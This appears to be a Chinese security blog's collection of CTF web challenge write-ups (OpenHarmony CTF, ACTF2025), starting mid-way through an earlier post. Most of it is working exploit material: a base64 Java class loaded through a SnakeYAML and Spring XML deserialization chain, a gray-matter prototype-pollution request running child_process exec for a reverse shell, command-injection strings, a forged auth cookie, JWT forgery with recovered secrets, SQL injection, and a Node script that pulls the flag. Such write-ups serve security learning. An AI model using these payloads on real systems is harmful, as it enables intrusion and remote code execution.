QFAaf/5bsANFkqK7YA6QRgHWAVBGAqEva2APm2AP24AQG4AQW3AQhNuwDOWbcAzxMBCrYA0yy4AQy2ARC4AQW4ARS2ANMTARa2ANO2ANmwKrgBDLAAAAABAToAAAAXAAP/ACIABgcANAcANAUBAQEAAB34AEkBOQAAAAQAAQAIAAoA/gD/AAIBOAAAAI8ABgAEAAAAbxMBGLgBG0wrEwEdBL0AG1kDEjRTtgCBK7YBIQS9AARZAypTtgArwAEjwAEjsEwTASW4ARtNLBMBJwO9ABu2AIEBA70ABLYAK04ttgA+EwEpBL0AG1kDEjRTtgCBLQS9AARZAypTtgArwAEjwAEjsAABAAAALAAtAAgAAQE6AAAABgABbQcACAE5AAAABAABAAgACQERARIAAgE4AAAArwAGAAUAAAB6AUwTASW4ARtNLBMBKwHAAB22AIEsAcABLbYAK04ttgA+EwEvBL0AG1kDEwEjU7YAgS0EvQAEWQMqU7YAK8AANEynADdOEwExuAEbTSy2ASE6BBkEtgA+EwEzBL0AG1kDEwEjU7YAgRkEBL0ABFkDKlO2ACvAADRMK7AAAQACAEEARAAIAAEBOgAAABsAAv8ARAACBwEjBwA0AAEHAAj9ADMHABsHAAQBOQAAAAQAAQAIAAkBAgEDAAEBOAAAAEkABgAEAAAAKhMBNbYBEEwqvrwITQM+HSq+ogAXLB0qHTMrHSu+cDOCkVSEAwGn/+kssAAAAAEBOgAAAA0AAv4ADgcBIwcBIwEZAAgBNgAGAAEBOAAAAC4AAgABAAAADbsAAlm3ATdXpwAES7EAAQAAAAgACwAIAAEBOgAAAAcAAksHAAgAAAA=</value>

 </list>

 </property>

 </bean>

 <bean id="classLoader" class="javax.management.loading.MLet"/>
 <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
 <constructor-arg ref="decoder"/>
 <constructor-arg type="int" value="0"/>
 <constructor-arg type="int" value="5129"/>
 </bean>

 <bean factory-bean="clazz" factory-method="newInstance"/>
</beans>

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["./poc.xml"],false],!!java.util.zip.Inflater { input: !!binary eJyVWVdz4ti2fj9V5z909WvXGBmMbaZmpmptJUBIIBGE9AYSLYICRoCAX3+/JYJTu88dt9WIHVb8Vtjef01nkzT/dkjiNP/7+3y7Xf9ZqRRFcZevN4s0+rmZJLMi26zusk1UyYP5LJlUyi3f//ufb+efcu+fh3zxbn9RK7dUJem+MjY7/XLrH4s0307SYPZmd77480y3kwWT7SJL/5UYNzq/+vkXdCrnBX+UX+4Oefj9nzPpv3jk2yL8+3s4C7Jwtvn+LYgnOYwFEp/Inrf/nATbbHO8C7L05yK6M2fbeRa20n22wmLtPCmw8sqj5LPeZOvZZnv8loLY399hp+0iOG/9/m0/iXcYXE72k8MdDH43XaThnTLBouN6JmfpHltnm7v1ZJPPxCSfPT6IRTrZHL9XfsNjsol2ySzd5m8FKRfGi3z7z2fb/lXK8c9x//i4j4hIaYluoZKfNI7+sTEPdG050Yd7r9rYTt3GNjg2Fr6r7cKxs542TR6vT2tO3Kk6cVAdHSeulk/G63mox/vpouF67uHeH8a7oObMp6mz9sbOPkitlVn16uYpTswl3ftLUzJPK6mrUM2sDgszsQvMrazTfOXZAZGtkqqDZqLup7q2g1w9L1nHXs1uEpmCyHueuPV1qDzg3cyMkSdIWC/e2J93qof5NAn2zni+9MdCmriNnSioqRBp2GeAOMmgT7X2/TQqSC5IlyOSiQrQEKk/dvr+WGtB55U/bnc99z7GlqEhx+Yk0apev5F7bj3t3FtSkMQ7/5RDBms5de0WCf5XfyfHIGkMQtfKnCSOp7qjzXQrDpqwZfWhSaL1Se6RPj9Oa+HcSw4x5B6Ct/2er5MFyWjuU0BapJKchHGoXcaaJmSIIE/jHU0bn0HNBL8M/NrTwXvbKvg8Bacc82wDjW2g+q6Ve+N27Kv3cajP9z6pZMvzL2yw/Yrm+sP40Xf9HLSljnShq+QmiQdqFhnpBUXQ13vHowYZYAv4fj9wR9JEb6xglwXWWcCfZLsW/GydJm479+FXIc8nwIMJJ1PbzqhVUIK1OvBSnVa37Mu6oR7e+6jafmGZuvfb9/pJjcUkGS1D5ZMeVzw+AVcZySuDZJMM+EP9SOPqLwX2lWFfCtm+Ja6wd0f0bJAIqIMYFPpcCpvUIkVlLL6TcVhzEGv1FLqfoEMLcbgLdW09TREPIs8+2n+ia8dhdXQI3dHOqw6fjFFmkjIkK8rIAvqZxtl2QprWWuC5gmxzlu3sO8ijHqOPel/9Clo59aA6g43tC1mOPvyBQKowZvnd0UfLKY+7Duw/yhlDnf5XGPodVvy17x5W3aIg2xYy4nVKKusdvrMR7JxMwTOUGxd+ATnAgBOVGFBYJnwmX/r/GH/lf5PUiPolLWGw7Xy3vgr0BuyPuFfZrz6wGZ/aCvyncl4KM9BYQZ6jTMJmvDL/YW1UIK8szzZGgEf0XOqjcV7z06neWHhu0SJtiO/1V39Ih73nIucCY3r/C79c1ywhrxaQSxxTwgfvxbTWTjuJVnjIRX6/vpzW4n2oD3fDpMTIKVRD5J1R0XfrybSIyIX/Nfc3PKKAxog32S2/3zDT/v/79xVL2jN5kHUciXlpC/kZuq+LIGmUsQ3ZT7DhCnoMLrTvUW/yjqQdg0SrD2D3EL72YRvRtNazZHiuC8OVSXpEE/jNL8QL9o8MdfWbWBYtGMwgPaDpuUbEgQ2BODaryLNqnW3WoibHp/YOQ7Cb5LthaRe2g9Acf6gOed0HTHFetU6M5dAWVdkWEjUDxkv1XDsbjFX3F3K2UU9jYOjIe2e2eJQj3sv1J2acXGoWYrkpXccsPNm0apvUfL7kWJmQd7pl3gFUI64hrJsGXWtiP02tWCYZyZ7ajNdRrb0OSwzLOsa6F13W02NjDL9K4IeMxTXHv+AdOsvex3w0CJvtNez0ZAwPv8xrrNMikjtlLW5xPI1qJX34QfsNpkao4ctI7smR3KY2pyPkgOboNKGCVhHXdh7n2OJc1Dj5dkGxfR1H30BOPEPOgG7Nac3cTRNt68PnyeceZDAbW/Cx1KQ223zL9rWBUY5naQa6qc3yywG1Of630hSxEsJfdlUr+WZEkJMkMlTuGWoT96FFBssW7D3o06lZGezMNUruuKjlRokL7i12/njOflmXc1Weyz9hcJiOUBNiyB/Qxr72Buhz0IdNXcbiMPtk/+ueAeLQeKYcUm4i+QA+maF9rGVfxrJ9jVX2Y0LyCXbYUcf+LGOzjR5yhFwR0BbYU1hGFf1ik3Ojg5yvbcF7/KbfYqwB++I+1Jj/aD5lWTsR7RDX20J+xHrnXV64t5aQd1dis8M9TXTD48R95lgt0M8yJmPPlZ7KfgGt1h61cW/LXL/ksa62yGQ/He7RZ6AfOsCGJd6B7+B/47uGXsUt9sOqBb3r55xsmnQg5qFo4AGgK03GHWr1aZCMHkLUR0LNdYHpo60YsGGDzPxTnbvGjJ2O1ugpy5xzgi1OESIA2PbGouD6hPftx1p3i7ePte7qW6l9P0GthZ7IhwqqlmqQ+UAS51a9Hs+ayCUWimlR6jHiWhjqN/0xF5Rzp0jxMGdwDkHfdgqq6CsRA9WojIEWWayX9bFvvNlRFEr4Jt9/xgAwXuM8m4zq/WTk2YjZB8Z8aknoW6XgPkTeikrMf+kr7om6JtWJeyKF405Hvd75NSeD7inp6OtggkdiPlYGuoJ9hB6zbQzhzG5Gj0W5Nz/XFvNjXNx4obbUqftQ0nuC3HJTzHEuirlunPd+6Se0FMqBei2DmjY9Yy/1kTd6XONC0Eb+UhsJ1tTKNaD/AzLKY+veSy8+5Vq+mLf7/S/PMCb1Mvpx1uUZ8phegpw18M49HM5655r0pYxTG5itREqlzN8252Htge2JHCIbo62skIpxk2uOEGzDPly4iN3yXGZ7LLcQ7M/Fc32yeJbgTyHbZS451wQ7v/an8mwMzPNaGbEitUyyJaGUfa3aeye7W3+VneX4uvYI1Vb7JR+H8/Fw33XzRg8yaFx/Uut+uqhvJ2Nr2Vm1xVBCVKtOjB78XG+dMk8n6FMufb3qk07o63Ohc47TL2uH7Xs/8RGvkWiyj6r1OJQuZ+XE+vU5820P6jyIcw1X+ZwkQ/cm9VuvZ4W0zDk7+6K/TOrqGoNXPzLvNsdycpHJ5ob2UitUPitcdOpnv4rPW68EXzHmu/7FxqPXHIC9qH/CP4Xuww458+Qd67I9sjRr6WjQc++X/YRaMD6u+/H9iO+93um58vHBHMdIq6db+eXcX/YufI4XKtPjWFi/OVvX+Yxkwb9zr7q1kA+HXnk+pDnvw+LyRy5xOkR5gN8H/McQGhHnYJtfVy/bggxjg3w2Vc8bBiv+X+VfmdM3PSDXgcZ5b+91r9lXpxcmLGcBNJAquvz1uGJ+HWbvzFtjdb5S9jZaTABoG9F8IOcqPlOjUHmc3zeY216fgW3+aPaPP7KoNeoI6Yj5Ql0aVVIWPkVq3hzwO/W7G4+67ZV4PhahiffevI16K9RuZPuC+lVSA1/I57n+KdN028W+h/5g6pGjZOq6IKcbeb6Ylnt7n/aKlYaxTjcaXtc45zX9lOT8Ucx5nn5gbKjGOvbYj8IISDtlzTOvxyoaOzx2f3jhqds29BWYt0uab+UabW5yDW9yYWwk2u7/lA3r3Hk7wNhidLjJtVTj49luTnDVIf6KFtycgq9iRcFIHFY6xjZZpOS67Y3Ek0fTs42LX+zXNXtWJR36qrtSlyDqN0hsfXpq0UzrVtFuf1iXq+x71zbVHYnnIegbpS1Adz5sgseOZWI91PSB16JFNPsW02p9SQt4lpWS1jO6TyVr6fZSJ/X5oruh0ZNEOuZbzqp8F52Sb1u3k1LuedGF3LuSh2zjnXWU94D46lGerwzdXjxQq1qlNuZhj1isjG0kj+GzLh6tGyWqKPS0csD5gj9nuxT9t5kjD/A5LSRRI2FSTMjEBo7cBXrhjs3AH5CVUT1S1pgXWdHa0tLkAESYqrJzjlvR5TA00Lf3HshAf9BCj9mxmxVOHwI9EkXXMRXp12uWwYp1anEfCvCoMB8KMI68Kpt4JNQkoWNOFeUc9oneI/JiuV7tSTTAfr/A4aqLfcqgUsY7/ZJXE+dKUdKgSICXVo694QXpNYzL5zWtUjbtJ6Ie9DBpUDuixS3fKEuWX/B021R7wpjsSP456J90JMUcdl+oL/0zvmmo9MTOhxF0YEFirKxjCzgxsuH9SjPiboo+6Tb3cp7Lz3NWF3SPHWBki2d3ytRdITdcZ6VuC1S6HPnG9B6F02ld4/LUXlHzKadTnNTIBL6ABamMOwWxqgzw+N1oklYaPCdMA5ircUbk3NnCec5m5S/+RBsp9sBlBJsotjfkvm//zAua0F1iG1mwTw32fsDnvvwOMhWAPEJl5DVnmwNVskGtHK/qA0NnR5yXPU7FPXXXNmkovbAs9fWKIjnbQM41nu0OWR6P1IvMqiA8zlBrTlqkH4aqsUA8dFeqJ4aah3h5cqkqWrZGk5+V+jQnS1uVNB9tJ2q6SFc6veAUUqUeYqpXRY+k43FrZM+tXaF03Sl6+YMpOH6k4xFzyFGOzGseyIE/LXOA0w4+EetWUhibSCidstAAFxl/jlGKKiS3SsyzbSxCfeS/Z4jaA1oC0S1rFGOfzZiVfRv3ZWV9aj1zfSoL3hRy6J1I6FKxUQs1FB344X6lqEsHPpQF9IKqyGXk+HRcD861Sl3yk6vFgPos89bqIGbbr7lD3HKL9LAtc1ihrj/S7nxFl87lGypv2afQ67FUHr7mMwF6hfrZGPwbcY/gkNO6+XxT1uIhr3ik4XsZjQIwEVWWMeeQY8y/kXF/kxEVl/No1JduufWWV9VjSkrYxZrDjtTpoA//9dVH5GT1Quf0iQ5iiceEtlIQi+ecqjiIi9JNUEklh97EhIAVEAMYk9GHLV8xvmyQwn/nzznffPDzSsAGyq0PUVc3PxtzE52eJ1S1eNlvita5x3hBj0Fj9BgvzYG5afZ3PwKlK69G/XPu/rHK8xJ2F5lYhD36oSgQyHt40AMjz1nRm94HMOaY5FcFsUGcHwYh1we1/3TtnSLul1515Vy6ysv4xc/ff1XO91f//c+H667K5b7rzVVZ5XpXdhv+q7wpfP16uxgs7wM72eTt5eD5pi6ZpJNoxldsdzHmF2l0Z3Zm29ul3Dsap9P3b5ebw/Ia8gPh61RSXgnydeTPRTqTecm7e8QgS/PtZseL/5hsom+b2c/Xu8vK71byVeLf3xfp9nbfKP3bDfX7auNVu18Z7JOGb9W+6pbOitb1ppipnSnl//wf5/DSxA== },1048576]]

写入

最后执行

yamlContent=!!org.springframework.context.support.FileSystemXmlApplicationContext [ !!java.lang.String "file:poc.xml" ]

成功将命令执行结果回显出来

还有一种方法就是打LDAP反序列化Jackson原生链

第一届OpenHarmony CTF专题赛 Web Writeup

p0l1st@venomsec.org (p0l1st) — Fri, 06 Jun 2025 16:33:50 +0000

Layers of Compromise

弱口令user password123登录

cookie中role的值改为admin即可查看文档

提示查看/data/app/www/secrettttts获取开发令牌，尝试访问secrettttts/token.txt

这里有auth_token的生成逻辑，写个脚本生成一下auth_token，cookie带上auth_token就能访问logs.php

<?php
$auth_key = 'S3cr3tK3y!2023';
$username = 'dev';
$hash = md5($username . $auth_key);

$data = [
 'username' => $username,
 'hash' => $hash
];

$cookie = base64_encode(serialize($data));
echo "auth_token=" . $cookie . "\n";

存在命令注入，拼接一下就行

action=filter_logs&filter=";ls${IFS}/data"

action=filter_logs&filter=";nl${IFS}/data/f*/f*"

Filesystem

app.controller

 @Post('upload')
 @UseInterceptors(FileInterceptor('file'))
 async doUpload(@UploadedFile() file: Express.Multer.File) {
 const targetPath = path.join(uploadPath, file.originalname);
 console.log(targetPath)
 if(file.originalname.endsWith(".zip") || file.originalname.endsWith(".tar")){
 fs.renameSync(file.path, targetPath);
 var result :string
 result = await filehelper.extractArc(targetPath)

 return { message: '文件上传解压成功成功！文件夹为：', path: path.basename(result) }
 }else{
 fs.renameSync(file.path, targetPath);
 return { message: '文件上传成功！', path: file.originalname };
 }
 }

 @Get('download')
 async downloadFile(@Query('filename') filename: string, @Response() res) {
 if(filename.includes("./")) throw new NotFoundException('路径不合法');
 const filePath = path.join('/opt/uploads', filename);

 if (!fs.existsSync(filePath)) {
 throw new NotFoundException('文件未找到');
 }

 res.download(filePath, (err) => {
 if (err) {
 res.status(500).send('下载失败');
 }
 });
 }

可以软链接

读/data/opt/filesystem/adminconfig.lock找到password

gray-matter组件可以解析js(—js)，https://github.com/jonschlinkert/gray-matter/issues/131：

所以可以通过/admin/changePassword接口处去修改slogo参数的值进行rce：

这里对payload设置了长度限制，但是可以通过__proto__绕过，具体原因可以看下面的issue，:

https://github.com/typestack/class-validator/issues/438

最终payload:

获取token：
POST /admin/login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "hArd_Pa@s5_wd"}

rce:
POST /admin/changePassword HTTP/1.1
token: xxxxxxxx
Content-Type: application/json

{"password": "hArd_Pa@s5_wd","__proto__": {},"slogon":"---js\nglobal.process.mainModule.constructor._load('child_process').exec('反弹shell')\n---"}

ezAPP_And_SERVER

https://github.com/ohos-decompiler/abc-decompiler反编译modules.abc

p001entry/src/main/ets/common/Utils/utils

public Object #~@0<#oo0Oo0(..., String arg0) {
 from = Array.from(arg0);
 _lexenv_0_0_ = Array.from("134522123");
 map = from.map(#~@0<@1*#);
 return map.join("");
}

根据这个逻辑对全部加密过的内容进行解密

public class hmtest {
 private static final String KEY = "134522123";

 public static String decrypt(String encrypted) {
 char[] keyChars = KEY.toCharArray();
 char[] encryptedChars = encrypted.toCharArray();
 char[] decryptedChars = new char[encryptedChars.length];

 for (int i = 0; i < encryptedChars.length; i++) {
 char keyChar = keyChars[i % keyChars.length];
 decryptedChars[i] = (char) (encryptedChars[i] ^ keyChar);
 }
 return new String(decryptedChars);
 }

 public static void main(String[] args) {
 // 解密 this.Secret
 String secret = "FpBz\u0001ecH\n\u001bEzx\u0017@|SrAXQGkloXz\u0007ElXZ";
 System.out.println("Decrypted Secret: " + decrypt(secret));

 // 解密代码中出现的其他加密字符串
 String[] encryptedStrings = {
 "\u001eRD\\\u001dD\u0000\u001dTTGRYSU", // #~@0<#l1Lll1
 "|z}w{Xp|qVXE]Y[v\u000bD\u0001qudwtps|rre\rs\u007fx{qrT\u007fvscts\u0005ykF\u0004~a~J\u0001@\n\u0003YaD\u0001B\u0004K9\\DFUH\u001dyFDc[Fw\u0006\u0001guxsxaJ\u0007h\u0006]aGqGd[p[Dtd|\u0002\u0007\u0001dXYG}RPsAB~\u0005K@F|ZFYtW|\u007f?A\u0006~aG\u0006cN}dKV^XVDl\u0002j\u0002\u0005Cukxzzkkua\u0005d^\u001fRhP\u0004jkFZe\ruQwCUtYV~P~[DVVfc@@8y\u0006@G\u0000{Ea{{}ZeX\\xhCrYU~gaM~t\u0000\u0019^Fup\u007fdF\u0004q|`q\u001bS@tAA\u001cd\u0006\u001fzAB[\u007ftpeSz`P_8\n\bfAL\u000bykAt`Dl\u0007W\u0019\u007fDExr@y|Sf\u0003_HPd\u0005jf`[k_[Y\u001eY\u0003\u001aU\u000b|tg\u0005\u0003fAgiEDAw@vdsD;x\u001b\\|PrubUxe\u0002\u0005x\u001eVv~\u0000mrkzzww\u0003d\u007fXsBuur\u0001_zb]G\u0006\u0004\u000bu\u0003PvzJ~EfdDs|cE\u001eqp\u0000@>aE{usbpq", // #~@0<#l1Lll1
 "J\u0011UVF[^\\\u0011\u000b\u0011SPFT]ST\u0013N", // #~@0<#l1Lll1
 "\u001eRD\\\u001dD\u0000\u001dP^]@TQFB\rFXW\t" // #~@0<#o0O0OOoo
 };

 for (String str : encryptedStrings) {
 System.out.println("Decrypted: " + decrypt(str));
 }

 // 解密其他在代码中出现的混淆字符串
 String[] additionalStrings = {
 "c`u\u0007\u0002\u0006\t", // #~@0<@2*#
 "c`u\u0007\u0002\u0006\tNczpg\u0004", // #~@0<#RrrrRRR
 "W_UR" // #~@0<@4**#
 };

 for (String str : additionalStrings) {
 System.out.println("Decrypted: " + decrypt(str));
 }
 }
}

得到

Decrypted Secret: wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh
Decrypted: /api/v1/getflag
Decrypted: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn
99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
Decrypted: {"action":"getflag"}
Decrypted: /api/v1/contacts?uid=
Decrypted: RSA2048
Decrypted: RSA2048|PKCS1
Decrypted: flag

#~@0<@4*#这里发现请求/api/v1/getflag的时候需要带上Authorization和X-Sign

 public Object #~@0<@4*#(Object functionObject, Object newTarget, utils this, Object arg0) {

 i = "{\"data\":\"" + arg0 + "\"}";

 ldlexvar = _lexenv_0_0_;

 obj = ldlexvar.request;

 ldlexvar2 = _lexenv_0_1_;

 obj2 = createobjectwithbuffer(["method", 0, "extraData", 0, "header", 0]);

 obj2.method = import { default as http } from "@ohos:net.http".RequestMethod.POST;

 obj2.extraData = i;

 obj3 = createobjectwithbuffer(["Authorization", 0, "X-Sign", 0, "Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"]);

 ldlexvar3 = _lexenv_1_0_;

 obj4 = ldlexvar3.o0OO00O;

 ldlexvar4 = _lexenv_0_2_;

 ldlexvar5 = _lexenv_1_0_;

 obj3.Authorization = obj4(ldlexvar4, ldlexvar5.oo0Oo0(_lexenv_1_0_.Secret));

 CryptoJS = import { default as CryptoJS } from "@normalized:N&&&@ohos/crypto-js/index&2.0.0";

 MD5 = CryptoJS.MD5(i);

 obj3.X-Sign = MD5.toString();

 obj2.header = obj3;

 callthisN = obj(ldlexvar2, obj2);

 callthisN.then(#~@0<@4**#);

 return null;

 }

JWT的key就是wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh，可以直接伪造

admin的uid ，访问/api/v1/contacts?uid=1" or 1=1– 获得

最后得算X-Sign，需要用上面解出的RSA公钥加密，data的值是是{“action”:“getflag”}

const jwt = require('jsonwebtoken');
const axios = require('axios');
const CryptoJS = require('crypto-js');
const crypto = require('crypto');

const pubKey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn
99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
-----END PUBLIC KEY-----`;

const sign = (data = {}) => jwt.sign(data, `wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh`);

const url = "http://web-a9e5aece41.challenge.xctf.org.cn";
const path = "/api/v1/getflag";
const r24 = ["9d5ec98c-5848-4450-9e58-9f97b6b3b7bc"];

(async () => {
 for (const item of r24) {
 
 const rawPayload = JSON.stringify({ action: "getflag" });
 const encrypted = crypto.publicEncrypt({
 key: pubKey,
 padding: crypto.constants.RSA_PKCS1_PADDING
 }, Buffer.from(rawPayload));

 const payload = encrypted.toString('base64');

 // token
 const token = sign({
 sub: "1234567890",
 uid: item,
 iat: 1516239022
 });

 const dataStr = `{"data":"${payload}"}`;
 const signX = CryptoJS.MD5(dataStr).toString();

 console.log("token:", token);
 console.log("X-Sign:", signX);

 try {
 const response = await axios.post(url + path, { data: payload }, {
 headers: {
 Authorization: token,
 'X-Sign': signX
 }
 });
 console.log("Response:", response.data);
 } catch (error) {
 console.error("请求出错:", error.response?.data || error.message);
 }
 }
})();

ACTF2025 Web Writeup

p0l1st@venomsec.org (p0l1st) — Mon, 28 Apr 2025 09:31:57 +0000

ACTF upload

随便登录就是普通用户，进去可以上传文件，然后有任意文件读取，先读/app/app.py得到源码

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
 if session.get('username'):
 return redirect(url_for('upload'))
 else:
 return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
 if request.method == 'POST':
 username = request.form['username']
 password = request.form['password']
 if username == 'admin':
 if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
 session['username'] = username
 return redirect(url_for('index'))
 else:
 flash('Invalid password')
 else:
 session['username'] = username
 return redirect(url_for('index'))
 else:
 return '''
 <h1>Login</h1>
 <h2>No need to register.</h2>
 <form action="/login" method="post">
 <label for="username">Username:</label>
 <input type="text" id="username" name="username" required>
 <br>
 <label for="password">Password:</label>
 <input type="password" id="password" name="password" required>
 <br>
 <input type="submit" value="Login">
 </form>
 '''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
 if not session.get('username'):
 return redirect(url_for('login'))
 
 if request.method == 'POST':
 f = request.files['file']
 file_path = str(uuid.uuid4()) + '_' + f.filename
 f.save('./uploads/' + file_path)
 return redirect(f'/upload?file_path={file_path}')
 
 else:
 if not request.args.get('file_path'):
 return '''
 <h1>Upload Image</h1>
 
 <form action="/upload" method="post" enctype="multipart/form-data">
 <input type="file" name="file">
 <input type="submit" value="Upload">
 </form>
 '''
 
 else:
 file_path = './uploads/' + request.args.get('file_path')
 if session.get('username') != 'admin':
 with open(file_path, 'rb') as f:
 content = f.read()
 b64 = base64.b64encode(content)
 return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
 else:
 os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
 # with open(f'/tmp/{file_path}.b64', 'r') as f:
 # return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
 return 'Sorry, but you are not allowed to view this image.'
 
if __name__ == '__main__':
 app.run(host='0.0.0.0', port=5000)

可以看到upload路由这里如果是admin的话会执行os.system(f'base64 {file_path} > /tmp/{file_path}.b64')，存在命令注入,admin的密码解出是backdoor

那么就可以通过命令注入获取flag名称/Fl4g_is_H3r3，再通过任意文件读取去读flag

file_path=; ls / > /tmp/aaa #
file_path=../../../../Fl4g_is_H3r3

not so web 1

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
 Flask,
 render_template,
 render_template_string,
 request,
 redirect,
 url_for,
 flash,
 session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
 name: str
 password_raw: str
 register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
 "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
 if not cookie:
 return False

 try:
 cookie_encrypted = base64.b64decode(cookie, validate=True)
 except binascii.Error:
 return False

 if len(cookie_encrypted) < 32:
 return False

 try:
 iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
 cipher = AES.new(KEY, AES.MODE_CBC, iv)
 cookie_json = cipher.decrypt(padded)
 except ValueError:
 return False

 try:
 _ = json.loads(cookie_json)
 except Exception:
 return False

 return True


def parse_cookie(cookie: str) -> Tuple[bool, str]:
 if not cookie:
 return False, ""

 try:
 cookie_encrypted = base64.b64decode(cookie, validate=True)
 except binascii.Error:
 return False, ""

 if len(cookie_encrypted) < 32:
 return False, ""

 try:
 iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
 cipher = AES.new(KEY, AES.MODE_CBC, iv)
 decrypted = cipher.decrypt(padded)
 cookie_json_bytes = unpad(decrypted, 16)
 cookie_json = cookie_json_bytes.decode()
 except ValueError:
 return False, ""

 try:
 cookie_dict = json.loads(cookie_json)
 except Exception:
 return False, ""

 return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
 cookie_dict = asdict(user)
 cookie_json = json.dumps(cookie_dict)
 cookie_json_bytes = cookie_json.encode()
 iv = os.urandom(16)
 padded = pad(cookie_json_bytes, 16)
 cipher = AES.new(KEY, AES.MODE_CBC, iv)
 encrypted = cipher.encrypt(padded)
 return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
 if validate_cookie(request.cookies.get("jwbcookie")):
 return redirect(url_for("home"))
 return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
 if request.method == "POST":
 user_name = request.form["username"]
 password = request.form["password"]
 if user_name in users:
 flash("Username already exists!", "danger")
 else:
 users[user_name] = APPUser(
 name=user_name, password_raw=password, register_time=int(time.time())
 )
 flash("Registration successful! Please login.", "success")
 return redirect(url_for("login"))
 return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
 if request.method == "POST":
 username = request.form["username"]
 password = request.form["password"]
 if username in users and users[username].password_raw == password:
 resp = redirect(url_for("home"))
 resp.set_cookie("jwbcookie", generate_cookie(users[username]))
 return resp
 else:
 flash("Invalid credentials. Please try again.", "danger")
 return render_template("login.html")


@app.route("/home")
def home():
 valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
 if not valid or not current_username:
 return redirect(url_for("logout"))

 user_profile = users.get(current_username)
 if not user_profile:
 return redirect(url_for("logout"))

 if current_username == "admin":
 payload = request.args.get("payload")
 html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Home</title>
 <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
 <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
 <div class="container">
 <h2 class="text-center">Welcome, %s !</h2>
 <div class="text-center">
 Your payload: %s
 </div>
 <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
 <div class="text-center">
 <a href="/logout" class="btn btn-danger">Logout</a>
 </div>
 </div>
</body>
</html>
""" % (
 current_username,
 payload,
 )
 else:
 html_template = (
 """
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Home</title>
 <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
 <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
 <div class="container">
 <h2 class="text-center">server code (encoded)</h2>
 <div class="text-center" style="word-break:break-all;">
 {%% raw %%}
 %s
 {%% endraw %%}
 </div>
 <div class="text-center">
 <a href="/logout" class="btn btn-danger">Logout</a>
 </div>
 </div>
</body>
</html>
"""
 % base64.b64encode(open(__file__, "rb").read()).decode()
 )
 return render_template_string(html_template)


@app.route("/logout")
def logout():
 resp = redirect(url_for("login"))
 resp.delete_cookie("jwbcookie")
 return resp


if __name__ == "__main__":
 app.run()

CBC字节翻转攻击伪造admin打SSTI就行

首先我们注册的用户对象json格式为

{"name": "admix", "password_raw": "password123", "register_time": 1714100000}

